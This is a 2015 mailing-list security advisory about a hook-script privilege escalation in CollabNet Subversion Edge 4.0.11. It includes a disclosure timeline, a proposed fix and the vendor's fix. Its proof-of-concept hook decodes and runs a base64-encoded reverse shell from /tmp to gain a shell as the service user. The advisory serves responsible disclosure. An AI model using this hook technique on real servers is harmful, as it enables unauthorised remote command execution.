[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20150628183339.GA2674@tortuga>
Date: Sun, 28 Jun 2015 20:33:39 +0200
From: Oliver-Tobias Ripka <otr@...kcay.de>
To: undisclosed-recipients: ;
Subject: CollabNet Subversion Edge Hook Script Privilege Escalation
# Vuln Title: The CollabNet Subversion Edge Management Frontend SVN hook scripts
# privilege escalation
#
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Privilege escalation design flaw
#
# CVE : Requested
# Risk: High
#
# CVSS Vector: AV:N/Ac:L/Au:S/C:C/I:C/A:C/E:POC/RL:W/RC:UC
# CVSS Base Score: 9.0
# CVSS Temporal Score: 7.0
#
# Status: pubic/fixed
# Fixed version: 5.0
2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure
Summary:
The CollabNet Subversion Edge Management Frontend allows authenticated
administrators to escalate their privileges by creating and executing hook
scripts. As a result they are able to execute arbitrary commands as the user the
Management Frontend is running under without authenticating with valid
credentials.
POC:
1. Add a pre commit hook with the following content:
#!/bin/sh
echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil
/bin/chmod +x /tmp/evil
/tmp/evil
exit 0
2. Edit a file of a SVN repository
3. Do: svn commit
4. Get a reverse shell running as the service user of Subversion Edge
Fix proposal:
Provide a configuration option inaccessible from the Web Gui that disables this
feature.
Addtionally implement an authentication prompt that requires the administrator
to authenticate as the user running (which is typically a service user)
the management frontend web app for performing actions on hook scripts.
Vendor fix:
The hook script editor is now disabled by default. It is enabled via the
security.properties file
Powered by blists - more mailing lists